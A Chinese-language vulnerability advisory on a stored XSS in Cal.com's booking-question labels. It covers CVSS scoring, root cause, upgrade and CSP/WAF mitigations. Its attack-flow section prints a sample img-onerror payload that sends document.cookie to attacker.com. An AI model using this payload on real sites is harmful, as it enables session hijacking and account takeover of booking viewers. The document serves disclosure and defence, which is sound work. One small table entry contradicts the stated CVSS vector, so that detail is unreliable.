🔴 严重 | CVE-2024-58355 — Cal.com (calcom/cal.diy) versions through 4.7.15 c...
🔴 【深度分析】严重安全漏洞:CVE-2024-58355
CVSS 评分: 严重(9.3)🔴 状态: Deferred 发布时间: 2026-07-23
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2024-58355 |
| CVSS 评分 | 9.3 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| CWE 分类 | CWE-80 |
| 发布时间 | 2026-07-23 |
| 最后更新 | 2026-07-30 |
| 状态 | Deferred |
| 数据来源 | disclosure@vulncheck.com |
危害等级:严重(Critical)
CVSS 4.0 评分:9.3(AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L)
漏洞概述
Cal.com(开源日程管理平台,Cal.com / cal.diy)的 4.7.15 及之前版本中存在一个存储型跨站脚本(Stored XSS)漏洞。攻击者通过创建恶意事件类型,在 booking-question 字段中注入未经过滤的 HTML/JavaScript,当受害者打开特制的预约链接(形如 https://app.cal.com/booking/<id>)时,恶意脚本会在浏览器端执行。该漏洞影响所有使用 Cal.com 实例的用户,可能导致敏感数据泄露、会话劫持、恶意操作等严重后果。
受影响组件与版本
| 组件 | 受影响版本范围 | 安全版本 |
|---|---|---|
| Cal.com / cal.diy | ≤ 4.7.15 | 4.7.16 |
说明:此漏洞仅在用户创建事件类型时具有“定制预约问题标签”权限的账号才能利用(对应 PR:L)。但一旦注入成功,所有查看该预约详情的用户均受影响。
漏洞原理分析
成因
在 Cal.com 的单次预约视图(/booking/<id>)中,开发者使用 React 的 dangerouslySetInnerHTML 直接渲染 booking-question 字段的标签内容,未对用户输入进行任何转义或净化。dangerouslySetInnerHTML 是 React 中用于插入原始 HTML 的 API,默认不会自动编码特殊字符——这意味着如果输入中包含 <script>、<img onerror> 等恶意标签,它们会原样被浏览器解析执行。
攻击向量
- 攻击者前提:在 Cal.com 平台中拥有能够创建/编辑事件类型的权限(通常为普通用户角色)。
- 注入点:事件类型设置中的
booking-question标签字段(例如自定义问卷问题的标题)。 - 触发点:当受害者访问包含该注入事件类型的预约 URL 时,浏览器渲染页面并执行恶意脚本。
触发流程
攻击者创建恶意事件类型
└─ 填写 booking-question 标签:`<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"/>`
└─ 系统将关键词存入数据库
└─ 受害者点击预约链接 https://app.cal.com/booking/<id>
└─ React 通过 dangerouslySetInnerHTML 渲染标签
└─ 浏览器解析 HTML 并触发 onerror 事件
└─ 恶意脚本窃取 cookie / 执行任意操作
影响评估
利用难度分析(基于 CVSS 4.0 向量)
| 维度 | 值 | 解析 |
|---|---|---|
| 攻击向量 (AV) | 网络 (N) | 攻击者可通过网络远程发起,无需物理接触。 |
| 攻击复杂度 (AC) | 低 (L) | 利用方式简单,只需构造恶意标签,无特殊技巧。 |
| 攻击所需权限 (PR) | 低 (L) | 需要拥有创建事件类型的权限(通常为普通用户即可)。 |
| 用户交互 (UI) | 是 (P) | 受害者需主动点击并打开恶意预约链接,但该类链接常被用于攻击场景(如钓鱼邮件中的链接)。 |
| 影响范围 (SC/SI/SA) | 变更(H/L/H) | 成功利用后,攻击者可在用户会话中执行脚本,可能导致横向移动(如访问其他受害者的数据)。 |
实际威胁
- 攻击复杂度极低:只需一条包含
<script>或事件处理器的字符串。 - 影响范围广泛:所有查看该预约页面的用户(包括管理员)都可能中招。
- 后危害严重:可窃取认证 Cookie、在用户上下文中发起 API 请求(如创建/修改事件)、植入恶意重定向等,最终可能导致数据泄露和账户接管。
修复建议
立即修复
升级至 v4.7.16 及以上版本。官方已在 4.7.16 中彻底移除 dangerouslySetInnerHTML 对 booking-question 字段的使用,转而采用 React 默认的安全转义机制。
# 对于自托管实例
git pull origin stable
# 或直接升级到指定版本
npm install @calcom/web@4.7.16
临时缓解措施(无法立即升级时)
- 限制事件类型创建权限:仅在受信任的用户(如管理员)范围内赋予创建事件类型的权限,避免低权限用户利用。
- 启用内容安全策略(CSP):在 HTTP 响应头中加入严格的 CSP 规则,例如
default-src 'self'; script-src 'self',可阻止内联脚本执行,减缓 XSS 危害(但无法完全防御基于 DOM 的 XSS)。 - Web 应用防火墙(WAF):配置 WAF 规则拦截包含
<script>、onerror、onload等关键词的booking-question输入。
参考资料
- CVE-2024-58355 官方页面:https://nvd.nist.gov/vuln/detail/CVE-2024-58355
- CWE 分类:CWE-80(通过 Web 输入导致的跨站脚本)
- GitHub 安全公告:(暂未公开,可从 Cal.com 仓库的 Release Note 中查阅 v4.7.16 的变更日志)
- CVSS 4.0 规范:https://www.first.org/cvss/v4.0/specification-document
总结:CVE-2024-58355 是 Cal.com 中一个典型的存储型 XSS,因其利用门槛低、危害高,建议所有使用者立即升级。自托管用户应优先关注,避免因未及时修补导致数据泄露。